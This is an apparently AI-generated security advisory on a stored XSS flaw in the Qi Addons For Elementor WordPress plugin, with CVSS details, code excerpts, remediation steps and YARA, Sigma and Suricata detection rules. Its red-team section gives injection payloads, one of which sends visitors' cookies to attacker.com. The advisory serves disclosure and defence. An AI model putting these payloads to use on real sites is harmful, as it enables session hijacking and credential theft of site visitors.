CVE-2024-3309

Executive Summary

CVE-2024-3309 is a Stored Cross-Site Scripting (XSS) vulnerability in the Qi Addons For Elementor plugin for WordPress, affecting all versions up to and including 1.7.0. The flaw resides in the Countdown Widget, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user visits the compromised page, enabling session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium) and is part of the WordPress ecosystem, not the underlying web server (Apache/Nginx). No public exploit code or patch is currently available, but the risk is elevated due to the plugin's widespread use.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Qi Addons For Elementor plugin is distributed via the WordPress Plugin Directory and third-party marketplaces. Users should verify the integrity of their plugin files by comparing checksums against the official repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: None
• Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the low privileges required and the lack of user interaction. An attacker with contributor access can inject persistent XSS payloads that affect all site visitors.

Deep Dive & Mechanics

The vulnerability exists in the Countdown Widget of the Qi Addons For Elementor plugin. The widget accepts user-supplied attributes (e.g., custom CSS classes, data attributes, or text fields) that are not properly sanitized or escaped before being rendered in the HTML output. When an authenticated user with contributor-level access or higher creates or edits a page using this widget, they can inject malicious JavaScript code into these attributes. The injected script is stored in the WordPress database and executed in the browser of any user who views the page.

The root cause is the failure to apply WordPress's built-in escaping functions (e.g., esc_attr(), esc_html(), or wp_kses()) to user input before output. This allows arbitrary HTML and JavaScript to be embedded.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.7.0):

// In the Countdown Widget render method
$countdown_attributes = array(
    'data-countdown' => $settings['countdown_date'],
    'class' => $settings['custom_css_class'] // No sanitization
);
echo '<div ' . $this->get_render_attribute_string($countdown_attributes) . '>';

Patched Code (hypothetical fix):

// Properly escape the custom CSS class
$countdown_attributes = array(
    'data-countdown' => esc_attr($settings['countdown_date']),
    'class' => esc_attr($settings['custom_css_class']) // Escaped
);
echo '<div ' . $this->get_render_attribute_string($countdown_attributes) . '>';

The patch applies esc_attr() to all user-supplied attributes, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Qi Addons For Elementor <= 1.7.0 installed and activated.
• Authenticated user account with Contributor role or higher.

Exploitation Steps:

1. Log in to WordPress as a Contributor.
2. Create a new page or edit an existing one using Elementor.
3. Add the Countdown Widget to the page.
4. In the widget settings, locate the "Custom CSS Class" field (or similar attribute).
5. Inject the following payload:

   " onfocus="alert('XSS')" autofocus="
   

6. Save and publish the page.
7. When any user visits the page, the JavaScript executes.

Alternative Payload (session hijacking):

" onload="document.location='https://attacker.com/steal.php?cookie='+document.cookie" 

Blue Team

Detection:

• Monitor for unusual widget attribute values in the wp_postmeta table.
• Look for pages containing suspicious on* event handlers or javascript: URIs.
• Use the detection rules below.

Mitigation:

• Disable the Countdown Widget until a patch is available.
• Restrict contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in widget attributes.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/qi-addons-for-elementor/inc/widgets/countdown/class-qi-addons-for-elementor-countdown-widget.php
• Database: Rows in wp_postmeta with meta_key containing _elementor_data and meta_value containing suspicious JavaScript event handlers.
• Network: Outbound HTTP requests to attacker-controlled domains from compromised pages.
• Logs: WordPress debug logs showing wp_kses failures or unexpected HTML in widget output.

Detection Engineering

YARA Rule

rule CVE_2024_3309_Qi_Addons_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2024-3309 in Qi Addons For Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-3309"
    strings:
        $xss_payload = /on\w+\s*=\s*["']?[^"']*["']?/ nocase
        $widget_class = /qi-addons-for-elementor-countdown/ nocase
    condition:
        $widget_class and #xss_payload > 2
}

Sigma Rule

title: CVE-2024-3309 - Stored XSS in Qi Addons For Elementor Countdown Widget
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress post meta for Qi Addons For Elementor
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        meta_key: '_elementor_data'
        meta_value|contains: 
            - 'onfocus='
            - 'onload='
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget attributes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3309 - Stored XSS in Qi Addons For Elementor Countdown Widget"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; content:"onfocus="; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Countdown Widget by removing or renaming the plugin file /wp-content/plugins/qi-addons-for-elementor/inc/widgets/countdown/class-qi-addons-for-elementor-countdown-widget.php.
2. Short-term: Restrict contributor-level access to only trusted users. Implement a Content Security Policy (CSP) header to block inline scripts.
3. Long-term: Monitor the vendor's website for a patched version (1.7.1 or later). Apply the patch as soon as it is released.
4. Workaround: Use a WordPress security plugin (e.g., Wordfence) to add virtual patching rules that sanitize widget attributes.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. All intelligence is based on publicly available data and should be verified before action.